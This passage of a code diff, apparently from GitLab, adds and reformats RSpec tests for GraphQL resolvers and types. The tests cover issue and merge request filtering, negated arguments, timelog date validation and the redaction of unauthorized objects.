+ expect(resolve_group_milestones(args)).to match_array([milestone1, milestone6])
+ end
+ end
+
+ context 'when including both ancestor or descendant milestones in a public group' do
+ let(:args) { { include_descendants: true, include_ancestors: true } }
+
+ it 'finds milestones only in accessible projects and groups' do
+ expect(resolve_group_milestones(args)).to match_array([milestone1, milestone2, milestone3, milestone6])
+ end
+ end
+ end
end
end
diff --git a/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb b/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb
index decc3569d6c..3fbd9bd2368 100644
--- a/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb
+++ b/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb
@@ -69,6 +69,14 @@ RSpec.describe Resolvers::IssueStatusCountsResolver do
expect(result.closed).to eq 1
end
+ context 'when both assignee_username and assignee_usernames are provided' do
+ it 'raises a mutually exclusive filter error' do
+ expect do
+ resolve_issue_status_counts(assignee_usernames: [current_user.username], assignee_username: current_user.username)
+ end.to raise_error(Gitlab::Graphql::Errors::ArgumentError, 'only one of [assigneeUsernames, assigneeUsername] arguments is allowed at the same time.')
+ end
+ end
+
private
def resolve_issue_status_counts(args = {}, context = { current_user: current_user })
diff --git a/spec/graphql/resolvers/issues_resolver_spec.rb b/spec/graphql/resolvers/issues_resolver_spec.rb
index 6e802bf7d25..7c2ceb50066 100644
--- a/spec/graphql/resolvers/issues_resolver_spec.rb
+++ b/spec/graphql/resolvers/issues_resolver_spec.rb
@@ -46,10 +46,6 @@ RSpec.describe Resolvers::IssuesResolver do
expect(resolve_issues(milestone_title: [milestone.title])).to contain_exactly(issue1)
end
- it 'filters by assignee_username' do
- expect(resolve_issues(assignee_username: [assignee.username])).to contain_exactly(issue2)
- end
-
it 'filters by two assignees' do
assignee2 = create(:user)
issue2.update!(assignees: [assignee, assignee2])
@@ -78,6 +74,24 @@ RSpec.describe Resolvers::IssuesResolver do
expect(resolve_issues(label_name: [label1.title, label2.title])).to contain_exactly(issue2)
end
+ describe 'filters by assignee_username' do
+ it 'filters by assignee_username' do
+ expect(resolve_issues(assignee_username: [assignee.username])).to contain_exactly(issue2)
+ end
+
+ it 'filters by assignee_usernames' do
+ expect(resolve_issues(assignee_usernames: [assignee.username])).to contain_exactly(issue2)
+ end
+
+ context 'when both assignee_username and assignee_usernames are provided' do
+ it 'raises a mutually exclusive filter error' do
+ expect do
+ resolve_issues(assignee_usernames: [assignee.username], assignee_username: assignee.username)
+ end.to raise_error(Gitlab::Graphql::Errors::ArgumentError, 'only one of [assigneeUsernames, assigneeUsername] arguments is allowed at the same time.')
+ end
+ end
+ end
+
describe 'filters by created_at' do
it 'filters by created_before' do
expect(resolve_issues(created_before: 2.hours.ago)).to contain_exactly(issue1)
@@ -144,6 +158,29 @@ RSpec.describe Resolvers::IssuesResolver do
end
end
+ describe 'filters by negated params' do
+ it 'returns issues without the specified iids' do
+ expect(resolve_issues(not: { iids: [issue1.iid] })).to contain_exactly(issue2)
+ end
+
+ it 'returns issues without the specified label names' do
+ expect(resolve_issues(not: { label_name: [label1.title] })).to be_empty
+ expect(resolve_issues(not: { label_name: [label2.title] })).to contain_exactly(issue1)
+ end
+
+ it 'returns issues without the specified milestone' do
+ expect(resolve_issues(not: { milestone_title: [milestone.title] })).to contain_exactly(issue2)
+ end
+
+ it 'returns issues without the specified assignee_usernames' do
+ expect(resolve_issues(not: { assignee_usernames: [assignee.username] })).to contain_exactly(issue1)
+ end
+
+ it 'returns issues without the specified assignee_id' do
+ expect(resolve_issues(not: { assignee_id: [assignee.id] })).to contain_exactly(issue1)
+ end
+ end
+
describe 'sorting' do
context 'when sorting by created' do
it 'sorts issues ascending' do
diff --git a/spec/graphql/resolvers/merge_requests_resolver_spec.rb b/spec/graphql/resolvers/merge_requests_resolver_spec.rb
index 7dd968d90a8..aec6c6c6708 100644
--- a/spec/graphql/resolvers/merge_requests_resolver_spec.rb
+++ b/spec/graphql/resolvers/merge_requests_resolver_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
include SortingHelper
let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:other_project) { create(:project, :repository) }
let_it_be(:milestone) { create(:milestone, project: project) }
let_it_be(:current_user) { create(:user) }
let_it_be(:other_user) { create(:user) }
@@ -16,10 +17,17 @@ RSpec.describe Resolvers::MergeRequestsResolver do
let_it_be(:merge_request_3) { create(:merge_request, :unique_branches, **common_attrs) }
let_it_be(:merge_request_4) { create(:merge_request, :unique_branches, :locked, **common_attrs) }
let_it_be(:merge_request_5) { create(:merge_request, :simple, :locked, **common_attrs) }
- let_it_be(:merge_request_6) { create(:labeled_merge_request, :unique_branches, labels: create_list(:label, 2, project: project), **common_attrs) }
- let_it_be(:merge_request_with_milestone) { create(:merge_request, :unique_branches, **common_attrs, milestone: milestone) }
- let_it_be(:other_project) { create(:project, :repository) }
- let_it_be(:other_merge_request) { create(:merge_request, source_project: other_project, target_project: other_project) }
+ let_it_be(:merge_request_6) do
+ create(:labeled_merge_request, :unique_branches, **common_attrs, labels: create_list(:label, 2, project: project))
+ end
+
+ let_it_be(:merge_request_with_milestone) do
+ create(:merge_request, :unique_branches, **common_attrs, milestone: milestone)
+ end
+
+ let_it_be(:other_merge_request) do
+ create(:merge_request, source_project: other_project, target_project: other_project)
+ end
let(:iid_1) { merge_request_1.iid }
let(:iid_2) { merge_request_2.iid }
@@ -41,13 +49,16 @@ RSpec.describe Resolvers::MergeRequestsResolver do
# AND "merge_requests"."iid" = 1 ORDER BY "merge_requests"."id" DESC
# SELECT "projects".* FROM "projects" WHERE "projects"."id" = 2
# SELECT "project_features".* FROM "project_features" WHERE "project_features"."project_id" = 2
- let(:queries_per_project) { 3 }
+ let(:queries_per_project) { 4 }
- context 'no arguments' do
+ context 'without arguments' do
it 'returns all merge requests' do
result = resolve_mr(project)
- expect(result).to contain_exactly(merge_request_1, merge_request_2, merge_request_3, merge_request_4, merge_request_5, merge_request_6, merge_request_with_milestone)
+ expect(result).to contain_exactly(
+ merge_request_1, merge_request_2, merge_request_3, merge_request_4, merge_request_5,
+ merge_request_6, merge_request_with_milestone
+ )
end
it 'returns only merge requests that the current user can see' do
@@ -57,7 +68,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
end
end
- context 'by iid alone' do
+ context 'with iid alone' do
it 'batch-resolves by target project full path and individual IID', :request_store do
# 1 query for project_authorizations, and 1 for merge_requests
result = batch_sync(max_queries: queries_per_project) do
@@ -83,7 +94,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
expect(result).to contain_exactly(merge_request_1, merge_request_2, merge_request_3)
end
- it 'can batch-resolve merge requests from different projects', :request_store, :use_clean_rails_memory_store_caching do
+ it 'can batch-resolve merge requests from different projects', :request_store do
# 2 queries for project_authorizations, and 2 for merge_requests
results = batch_sync(max_queries: queries_per_project * 2) do
a = resolve_mr(project, iids: [iid_1])
@@ -121,7 +132,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
end
end
- context 'by source branches' do
+ context 'with source branches argument' do
it 'takes one argument' do
result = resolve_mr(project, source_branches: [merge_request_3.source_branch])
@@ -131,13 +142,13 @@ RSpec.describe Resolvers::MergeRequestsResolver do
it 'takes more than one argument' do
mrs = [merge_request_3, merge_request_4]
branches = mrs.map(&:source_branch)
- result = resolve_mr(project, source_branches: branches )
+ result = resolve_mr(project, source_branches: branches)
expect(result).to match_array(mrs)
end
end
- context 'by target branches' do
+ context 'with target branches argument' do
it 'takes one argument' do
result = resolve_mr(project, target_branches: [merge_request_3.target_branch])
@@ -153,7 +164,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
end
end
- context 'by state' do
+ context 'with state argument' do
it 'takes one argument' do
result = resolve_mr(project, state: 'locked')
@@ -161,7 +172,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
end
end
- context 'by label' do
+ context 'with label argument' do
let_it_be(:label) { merge_request_6.labels.first }
let_it_be(:with_label) { create(:labeled_merge_request, :closed, labels: [label], **common_attrs) }
@@ -178,7 +189,18 @@ RSpec.describe Resolvers::MergeRequestsResolver do
end
end
- context 'by merged_after and merged_before' do
+ context 'with negated label argument' do
+ let_it_be(:label) { merge_request_6.labels.first }
+ let_it_be(:with_label) { create(:labeled_merge_request, :closed, labels: [label], **common_attrs) }
+
+ it 'excludes merge requests with given label from selection' do
+ result = resolve_mr(project, not: { labels: [label.title] })
+
+ expect(result).not_to include(merge_request_6, with_label)
+ end
+ end
+
+ context 'with merged_after and merged_before arguments' do
before do
merge_request_1.metrics.update!(merged_at: 10.days.ago)
end
@@ -196,7 +218,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
end
end
- context 'by milestone' do
+ context 'with milestone argument' do
it 'filters merge requests by milestone title' do
result = resolve_mr(project, milestone_title: milestone.title)
@@ -210,9 +232,17 @@ RSpec.describe Resolvers::MergeRequestsResolver do
end
end
+ context 'with negated milestone argument' do
+ it 'filters out merge requests with given milestone title' do
+ result = resolve_mr(project, not: { milestone_title: milestone.title })
+
+ expect(result).not_to include(merge_request_with_milestone)
+ end
+ end
+
describe 'combinations' do
it 'requires all filters' do
- create(:merge_request, :closed, source_project: project, target_project: project, source_branch: merge_request_4.source_branch)
+ create(:merge_request, :closed, **common_attrs, source_branch: merge_request_4.source_branch)
result = resolve_mr(project, source_branches: [merge_request_4.source_branch], state: 'locked')
diff --git a/spec/graphql/resolvers/namespace_projects_resolver_spec.rb b/spec/graphql/resolvers/namespace_projects_resolver_spec.rb
index 147a02e1d79..618d012bd6d 100644
--- a/spec/graphql/resolvers/namespace_projects_resolver_spec.rb
+++ b/spec/graphql/resolvers/namespace_projects_resolver_spec.rb
@@ -112,7 +112,7 @@ RSpec.describe Resolvers::NamespaceProjectsResolver do
subject(:projects) { resolve_projects(args) }
let(:include_subgroups) { false }
- let(:project_3) { create(:project, name: 'Project', path: 'project', namespace: namespace) }
+ let!(:project_3) { create(:project, name: 'Project', path: 'project', namespace: namespace) }
context 'when ids is provided' do
let(:ids) { [project_3.to_global_id.to_s] }
diff --git a/spec/graphql/resolvers/project_jobs_resolver_spec.rb b/spec/graphql/resolvers/project_jobs_resolver_spec.rb
new file mode 100644
index 00000000000..94df2999163
--- /dev/null
+++ b/spec/graphql/resolvers/project_jobs_resolver_spec.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::ProjectJobsResolver do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:irrelevant_project) { create(:project, :repository) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+ let_it_be(:irrelevant_pipeline) { create(:ci_pipeline, project: irrelevant_project) }
+ let_it_be(:build_one) { create(:ci_build, :success, name: 'Build One', pipeline: pipeline) }
+ let_it_be(:build_two) { create(:ci_build, :success, name: 'Build Two', pipeline: pipeline) }
+ let_it_be(:build_three) { create(:ci_build, :failed, name: 'Build Three', pipeline: pipeline) }
+
+ let(:irrelevant_build) { create(:ci_build, name: 'Irrelevant Build', pipeline: irrelevant_pipeline)}
+ let(:args) { {} }
+ let(:current_user) { create(:user) }
+
+ subject { resolve_jobs(args) }
+
+ describe '#resolve' do
+ context 'with authorized user' do
+ before do
+ project.add_developer(current_user)
+ end
+
+ context 'with statuses argument' do
+ let(:args) { { statuses: [Types::Ci::JobStatusEnum.coerce_isolated_input('SUCCESS')] } }
+
+ it { is_expected.to contain_exactly(build_one, build_two) }
+ end
+
+ context 'without statuses argument' do
+ it { is_expected.to contain_exactly(build_one, build_two, build_three) }
+ end
+ end
+
+ context 'with unauthorized user' do
+ let(:current_user) { nil }
+
+ it { is_expected.to be_nil }
+ end
+ end
+
+ private
+
+ def resolve_jobs(args = {}, context = { current_user: current_user })
+ resolve(described_class, obj: project, args: args, ctx: context)
+ end
+end
diff --git a/spec/graphql/resolvers/project_pipeline_resolver_spec.rb b/spec/graphql/resolvers/project_pipeline_resolver_spec.rb
index 69127c4b061..3d33e0b500d 100644
--- a/spec/graphql/resolvers/project_pipeline_resolver_spec.rb
+++ b/spec/graphql/resolvers/project_pipeline_resolver_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Resolvers::ProjectPipelineResolver do
let_it_be(:project) { create(:project) }
let_it_be(:pipeline) { create(:ci_pipeline, project: project, iid: '1234', sha: 'sha') }
+ let_it_be(:other_project_pipeline) { create(:ci_pipeline, project: project, iid: '1235', sha: 'sha2') }
let_it_be(:other_pipeline) { create(:ci_pipeline) }
let(:current_user) { create(:user) }
@@ -23,6 +24,11 @@ RSpec.describe Resolvers::ProjectPipelineResolver do
end
it 'resolves pipeline for the passed iid' do
+ expect(Ci::PipelinesFinder)
+ .to receive(:new)
+ .with(project, current_user, iids: ['1234'])
+ .and_call_original
+
result = batch_sync do
resolve_pipeline(project, { iid: '1234' })
end
@@ -31,6 +37,11 @@ RSpec.describe Resolvers::ProjectPipelineResolver do
end
it 'resolves pipeline for the passed sha' do
+ expect(Ci::PipelinesFinder)
+ .to receive(:new)
+ .with(project, current_user, sha: ['sha'])
+ .and_call_original
+
result = batch_sync do
resolve_pipeline(project, { sha: 'sha' })
end
@@ -39,8 +50,6 @@ RSpec.describe Resolvers::ProjectPipelineResolver do
end
it 'keeps the queries under the threshold for iid' do
- create(:ci_pipeline, project: project, iid: '1235')
-
control = ActiveRecord::QueryRecorder.new do
batch_sync { resolve_pipeline(project, { iid: '1234' }) }
end
@@ -54,8 +63,6 @@ RSpec.describe Resolvers::ProjectPipelineResolver do
end
it 'keeps the queries under the threshold for sha' do
- create(:ci_pipeline, project: project, sha: 'sha2')
-
control = ActiveRecord::QueryRecorder.new do
batch_sync { resolve_pipeline(project, { sha: 'sha' }) }
end
diff --git a/spec/graphql/resolvers/repository_branch_names_resolver_spec.rb b/spec/graphql/resolvers/repository_branch_names_resolver_spec.rb
new file mode 100644
index 00000000000..398dd7a2e2e
--- /dev/null
+++ b/spec/graphql/resolvers/repository_branch_names_resolver_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::RepositoryBranchNamesResolver do
+ include GraphqlHelpers
+
+ let(:project) { create(:project, :repository) }
+
+ describe '#resolve' do
+ subject(:resolve_branch_names) do
+ resolve(
+ described_class,
+ obj: project.repository,
+ args: { search_pattern: pattern },
+ ctx: { current_user: project.creator }
+ )
+ end
+
+ context 'with empty search pattern' do
+ let(:pattern) { '' }
+
+ it 'returns nil' do
+ expect(resolve_branch_names).to eq(nil)
+ end
+ end
+
+ context 'with a valid search pattern' do
+ let(:pattern) { 'mas*' }
+
+ it 'returns matching branches' do
+ expect(resolve_branch_names).to match_array(['master'])
+ end
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/timelog_resolver_spec.rb b/spec/graphql/resolvers/timelog_resolver_spec.rb
new file mode 100644
index 00000000000..585cd657e35
--- /dev/null
+++ b/spec/graphql/resolvers/timelog_resolver_spec.rb
@@ -0,0 +1,168 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::TimelogResolver do
+ include GraphqlHelpers
+
+ specify do
+ expect(described_class).to have_non_null_graphql_type(::Types::TimelogType.connection_type)
+ end
+
+ context "with a group" do
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :public, group: group) }
+
+ before_all do
+ group.add_developer(current_user)
+ project.add_developer(current_user)
+ end
+
+ before do
+ group.clear_memoization(:timelogs)
+ end
+
+ describe '#resolve' do
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:issue2) { create(:issue, project: project) }
+ let_it_be(:timelog1) { create(:issue_timelog, issue: issue, spent_at: 2.days.ago.beginning_of_day) }
+ let_it_be(:timelog2) { create(:issue_timelog, issue: issue2, spent_at: 2.days.ago.end_of_day) }
+ let_it_be(:timelog3) { create(:issue_timelog, issue: issue2, spent_at: 10.days.ago) }
+
+ let(:args) { { start_time: 6.days.ago, end_time: 2.days.ago.noon } }
+
+ it 'finds all timelogs within given dates' do
+ timelogs = resolve_timelogs(**args)
+
+ expect(timelogs).to contain_exactly(timelog1)
+ end
+
+ it 'return nothing when user has insufficient permissions' do
+ user = create(:user)
+ group.add_guest(current_user)
+
+ expect(resolve_timelogs(user: user, **args)).to be_empty
+ end
+
+ context 'when start_time and end_date are present' do
+ let(:args) { { start_time: 6.days.ago, end_date: 2.days.ago } }
+
+ it 'finds timelogs until the end of day of end_date' do
+ timelogs = resolve_timelogs(**args)
+
+ expect(timelogs).to contain_exactly(timelog1, timelog2)
+ end
+ end
+
+ context 'when start_date and end_time are present' do
+ let(:args) { { start_date: 6.days.ago, end_time: 2.days.ago.noon } }
+
+ it 'finds all timelogs within start_date and end_time' do
+ timelogs = resolve_timelogs(**args)
+
+ expect(timelogs).to contain_exactly(timelog1)
+ end
+ end
+
+ context 'when arguments are invalid' do
+ let_it_be(:error_class) { Gitlab::Graphql::Errors::ArgumentError }
+
+ context 'when no time or date arguments are present' do
+ let(:args) { {} }
+
+ it 'returns correct error' do
+ expect { resolve_timelogs(**args) }
+ .to raise_error(error_class, /Start and End arguments must be present/)
+ end
+ end
+
+ context 'when only start_time is present' do
+ let(:args) { { start_time: 6.days.ago } }
+
+ it 'returns correct error' do
+ expect { resolve_timelogs(**args) }
+ .to raise_error(error_class, /Both Start and End arguments must be present/)
+ end
+ end
+
+ context 'when only end_time is present' do
+ let(:args) { { end_time: 2.days.ago } }
+
+ it 'returns correct error' do
+ expect { resolve_timelogs(**args) }
+ .to raise_error(error_class, /Both Start and End arguments must be present/)
+ end
+ end
+
+ context 'when only start_date is present' do
+ let(:args) { { start_date: 6.days.ago } }
+
+ it 'returns correct error' do
+ expect { resolve_timelogs(**args) }
+ .to raise_error(error_class, /Both Start and End arguments must be present/)
+ end
+ end
+
+ context 'when only end_date is present' do
+ let(:args) { { end_date: 2.days.ago } }
+
+ it 'returns correct error' do
+ expect { resolve_timelogs(**args) }
+ .to raise_error(error_class, /Both Start and End arguments must be present/)
+ end
+ end
+
+ context 'when start_time and start_date are present' do
+ let(:args) { { start_time: 6.days.ago, start_date: 6.days.ago } }
+
+ it 'returns correct error' do
+ expect { resolve_timelogs(**args) }
+ .to raise_error(error_class, /Both Start and End arguments must be present/)
+ end
+ end
+
+ context 'when end_time and end_date are present' do
+ let(:args) { { end_time: 2.days.ago, end_date: 2.days.ago } }
+
+ it 'returns correct error' do
+ expect { resolve_timelogs(**args) }
+ .to raise_error(error_class, /Both Start and End arguments must be present/)
+ end
+ end
+
+ context 'when three arguments are present' do
+ let(:args) { { start_date: 6.days.ago, end_date: 2.days.ago, end_time: 2.days.ago } }
+
+ it 'returns correct error' do
+ expect { resolve_timelogs(**args) }
+ .to raise_error(error_class, /Only Time or Date arguments must be present/)
+ end
+ end
+
+ context 'when start argument is after end argument' do
+ let(:args) { { start_time: 2.days.ago, end_time: 6.days.ago } }
+
+ it 'returns correct error' do
+ expect { resolve_timelogs(**args) }
+ .to raise_error(error_class, /Start argument must be before End argument/)
+ end
+ end
+
+ context 'when time range is more than 60 days' do
+ let(:args) { { start_time: 3.months.ago, end_time: 2.days.ago } }
+
+ it 'returns correct error' do
+ expect { resolve_timelogs(**args) }
+ .to raise_error(error_class, /The time range period cannot contain more than 60 days/)
+ end
+ end
+ end
+ end
+ end
+
+ def resolve_timelogs(user: current_user, **args)
+ context = { current_user: user }
+ resolve(described_class, obj: group, args: args, ctx: context)
+ end
+end
diff --git a/spec/graphql/resolvers/users/snippets_resolver_spec.rb b/spec/graphql/resolvers/users/snippets_resolver_spec.rb
index 11a5b7517e0..04fe3213a99 100644
--- a/spec/graphql/resolvers/users/snippets_resolver_spec.rb
+++ b/spec/graphql/resolvers/users/snippets_resolver_spec.rb
@@ -75,9 +75,19 @@ RSpec.describe Resolvers::Users::SnippetsResolver do
end.to raise_error(GraphQL::CoercionError)
end
end
+
+ context 'when user profile is private' do
+ it 'does not return snippets for that user' do
+ expect(resolve_snippets(obj: other_user)).to contain_exactly(other_personal_snippet, other_project_snippet)
+
+ other_user.update!(private_profile: true)
+
+ expect(resolve_snippets(obj: other_user)).to be_empty
+ end
+ end
end
- def resolve_snippets(args: {})
- resolve(described_class, args: args, ctx: { current_user: current_user }, obj: current_user)
+ def resolve_snippets(args: {}, context_user: current_user, obj: current_user)
+ resolve(described_class, args: args, ctx: { current_user: context_user }, obj: obj)
end
end
diff --git a/spec/graphql/types/admin/analytics/usage_trends/measurement_type_spec.rb b/spec/graphql/types/admin/analytics/usage_trends/measurement_type_spec.rb
index c50092d7f0e..d1c2b4044c1 100644
--- a/spec/graphql/types/admin/analytics/usage_trends/measurement_type_spec.rb
+++ b/spec/graphql/types/admin/analytics/usage_trends/measurement_type_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe GitlabSchema.types['UsageTrendsMeasurement'] do
describe 'authorization' do
let_it_be(:measurement) { create(:usage_trends_measurement, :project_count) }
+
let(:user) { create(:user) }
let(:query) do
@@ -44,7 +45,7 @@ RSpec.describe GitlabSchema.types['UsageTrendsMeasurement'] do
let(:user) { create(:user, :admin) }
before do
- stub_feature_flags(user_mode_in_session: false)
+ stub_application_setting(admin_mode: false)
end
it 'returns data' do
diff --git a/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb b/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb
index b10c2a2ab2a..d057afb331c 100644
--- a/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb
+++ b/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb
@@ -48,15 +48,21 @@ RSpec.describe GitlabSchema.types['AlertManagementPrometheusIntegration'] do
end
end
- context 'without project' do
- let_it_be(:integration) { create(:prometheus_service, project: nil, group: create(:group)) }
-
- it_behaves_like 'has field with value', 'token' do
- let(:value) { nil }
- end
-
- it_behaves_like 'has field with value', 'url' do
- let(:value) { nil }
+ describe 'a group integration' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:integration) { create(:prometheus_service, project: nil, group: group) }
+
+ # Since it is impossible to authorize the parent here, given that the
+ # project is nil, all fields should be redacted:
+
+ described_class.fields.each_key do |field_name|
+ context "field: #{field_name}" do
+ it 'is redacted' do
+ expect do
+ resolve_field(field_name, integration, current_user: user)
+ end.to raise_error(GraphqlHelpers::UnauthorizedObject)
+ end
+ end
end
end
end
diff --git a/spec/graphql/types/base_enum_spec.rb b/spec/graphql/types/base_enum_spec.rb
index 744aee40044..bab0278ee25 100644
--- a/spec/graphql/types/base_enum_spec.rb
+++ b/spec/graphql/types/base_enum_spec.rb
@@ -3,6 +3,38 @@
require 'spec_helper'
RSpec.describe Types::BaseEnum do
+ describe '.from_rails_enum' do
+ let(:enum_type) { Class.new(described_class) }
+ let(:template) { "The name is '%{name}', James %{name}." }
+
+ let(:enum) do
+ {
+ 'foo' => 1,
+ 'bar' => 2,
+ 'baz' => 100
+ }
+ end
+
+ it 'contructs the correct values' do
+ enum_type.from_rails_enum(enum, description: template)
+
+ expect(enum_type.values).to match(
+ 'FOO' => have_attributes(
+ description: "The name is 'foo', James foo.",
+ value: 'foo'
+ ),
+ 'BAR' => have_attributes(
+ description: "The name is 'bar', James bar.",
+ value: 'bar'
+ ),
+ 'BAZ' => have_attributes(
+ description: "The name is 'baz', James baz.",
+ value: 'baz'
+ )
+ )
+ end
+ end
+
describe '.declarative_enum' do
let(:use_name) { true }
let(:use_description) { true }
@@ -26,12 +58,15 @@ RSpec.describe Types::BaseEnum do
end
end
- subject(:set_declarative_enum) { enum_type.declarative_enum(enum_module, use_name: use_name, use_description: use_description) }
+ subject(:set_declarative_enum) do
+ enum_type.declarative_enum(enum_module, use_name: use_name, use_description: use_description)
+ end
describe '#graphql_name' do
context 'when the use_name is `true`' do
it 'changes the graphql_name' do
- expect { set_declarative_enum }.to change { enum_type.graphql_name }.from('OriginalName').to('Name')
+ expect { set_declarative_enum }
+ .to change(enum_type, :graphql_name).from('OriginalName').to('Name')
end
end
@@ -39,7 +74,8 @@ RSpec.describe Types::BaseEnum do
let(:use_name) { false }
it 'does not change the graphql_name' do
- expect { set_declarative_enum }.not_to change { enum_type.graphql_name }.from('OriginalName')
+ expect { set_declarative_enum }
+ .not_to change(enum_type, :graphql_name).from('OriginalName')
end
end
end
@@ -47,7 +83,8 @@ RSpec.describe Types::BaseEnum do
describe '#description' do
context 'when the use_description is `true`' do
it 'changes the description' do
- expect { set_declarative_enum }.to change { enum_type.description }.from('Original description').to('Description')
+ expect { set_declarative_enum }
+ .to change(enum_type, :description).from('Original description').to('Description')
end
end
@@ -55,7 +92,8 @@ RSpec.describe Types::BaseEnum do
let(:use_description) { false }
it 'does not change the description' do
- expect { set_declarative_enum }.not_to change { enum_type.description }.from('Original description')
+ expect { set_declarative_enum }
+ .not_to change(enum_type, :description).from('Original description')
end
end
end
diff --git a/spec/graphql/types/base_object_spec.rb b/spec/graphql/types/base_object_spec.rb
new file mode 100644
index 00000000000..d8f2ef58ea5
--- /dev/null
+++ b/spec/graphql/types/base_object_spec.rb
@@ -0,0 +1,432 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::BaseObject do
+ include GraphqlHelpers
+
+ describe 'scoping items' do
+ let_it_be(:custom_auth) do
+ Class.new(::Gitlab::Graphql::Authorize::ObjectAuthorization) do
+ def any?
+ true
+ end
+
+ def ok?(object, _current_user)
+ return false if object == { id: 100 }
+ return false if object.try(:deactivated?)
+
+ true
+ end
+ end
+ end
+
+ let_it_be(:test_schema) do
+ auth = custom_auth.new(nil)
+
+ base_object = Class.new(described_class) do
+ # Override authorization so we don't need to mock Ability
+ define_singleton_method :authorization do
+ auth
+ end
+ end
+
+ y_type = Class.new(base_object) do
+ graphql_name 'Y'
+ authorize :read_y
+ field :id, Integer, null: false
+
+ def id
+ object[:id]
+ end
+ end
+
+ number_type = Module.new do
+ include ::Types::BaseInterface
+
+ graphql_name 'Number'
+
+ field :value, Integer, null: false
+ end
+
+ odd_type = Class.new(described_class) do
+ graphql_name 'Odd'
+ implements number_type
+
+ authorize :read_odd
+ field :odd_value, Integer, null: false
+
+ def odd_value
+ object[:value]
+ end
+ end
+
+ even_type = Class.new(described_class) do
+ graphql_name 'Even'
+ implements number_type
+
+ authorize :read_even
+ field :even_value, Integer, null: false
+
+ def even_value
+ object[:value]
+ end
+ end
+
+ # an abstract type, delegating authorization to members
+ odd_or_even = Class.new(::Types::BaseUnion) do
+ graphql_name 'OddOrEven'
+
+ possible_types odd_type, even_type
+
+ define_singleton_method :resolve_type do |object, ctx|
+ if object[:value].odd?
+ odd_type
+ else
+ even_type
+ end
+ end
+ end
+
+ number_type.define_singleton_method :resolve_type do |object, ctx|
+ odd_or_even.resolve_type(object, ctx)
+ end
+
+ x_type = Class.new(base_object) do
+ graphql_name 'X'
+ # Scalar types
+ field :title, String, null: true
+ # monomorphic types
+ field :lazy_list_of_ys, [y_type], null: true
+ field :list_of_lazy_ys, [y_type], null: true
+ field :array_ys_conn, y_type.connection_type, null: true
+ # polymorphic types
+ field :polymorphic_conn, odd_or_even.connection_type, null: true
+ field :polymorphic_object, odd_or_even, null: true do
+ argument :value, Integer, required: true
+ end
+ field :interface_conn, number_type.connection_type, null: true
+
+ def lazy_list_of_ys
+ ::Gitlab::Graphql::Lazy.new { object[:ys] }
+ end
+
+ def list_of_lazy_ys
+ object[:ys].map { |y| ::Gitlab::Graphql::Lazy.new { y } }
+ end
+
+ def array_ys_conn
+ object[:ys].dup
+ end
+
+ def polymorphic_conn
+ object[:values].dup
+ end
+ alias_method :interface_conn, :polymorphic_conn
+
+ def polymorphic_object(value)
+ value
+ end
+ end
+
+ user_type = Class.new(base_object) do
+ graphql_name 'User'
+ authorize :read_user
+ field 'name', String, null: true
+ end
+
+ Class.new(GraphQL::Schema) do
+ lazy_resolve ::Gitlab::Graphql::Lazy, :force
+ use ::GraphQL::Pagination::Connections
+ use ::Gitlab::Graphql::Pagination::Connections
+
+ query(Class.new(::Types::BaseObject) do
+ graphql_name 'Query'
+ field :x, x_type, null: true
+ field :users, user_type.connection_type, null: true
+
+ def x
+ ::Gitlab::Graphql::Lazy.new { context[:x] }
+ end
+
+ def users
+ ::Gitlab::Graphql::Lazy.new { User.id_in(context[:user_ids]).order(id: :asc) }
+ end
+ end)
+
+ def unauthorized_object(err)
+ nil
+ end
+ end
+ end
+
+ def document(path)
+ GraphQL.parse(<<~GQL)
+ query {
+ x {
+ title
+ #{query_graphql_path(path, 'id')}
+ }
+ }
+ GQL
+ end
+
+ let(:data) do
+ {
+ x: {
+ title: 'Hey',
+ ys: [{ id: 1 }, { id: 100 }, { id: 2 }]
+ }
+ }
+ end
+
+ shared_examples 'array member redaction' do |path|
+ let(:result) do
+ query = GraphQL::Query.new(test_schema, document: document(path), context: data)
+ query.result.to_h
+ end
+
+ it 'redacts the unauthorized array member' do
+ expect(graphql_dig_at(result, 'data', 'x', 'title')).to eq('Hey')
+ expect(graphql_dig_at(result, 'data', 'x', *path)).to contain_exactly(
+ eq({ 'id' => 1 }),
+ eq({ 'id' => 2 })
+ )
+ end
+ end
+
+ # For example a batchloaded association
+ describe 'a lazy list' do
+ it_behaves_like 'array member redaction', %w[lazyListOfYs]
+ end
+
+ # For example using a batchloader to map over a set of IDs
+ describe 'a list of lazy items' do
+ it_behaves_like 'array member redaction', %w[listOfLazyYs]
+ end
+
+ describe 'an array connection of items' do
+ it_behaves_like 'array member redaction', %w[arrayYsConn nodes]
+ end
+
+ describe 'an array connection of items, selecting edges' do
+ it_behaves_like 'array member redaction', %w[arrayYsConn edges node]
+ end
+
+ it 'paginates arrays correctly' do
+ n = 7
+
+ data = {
+ x: {
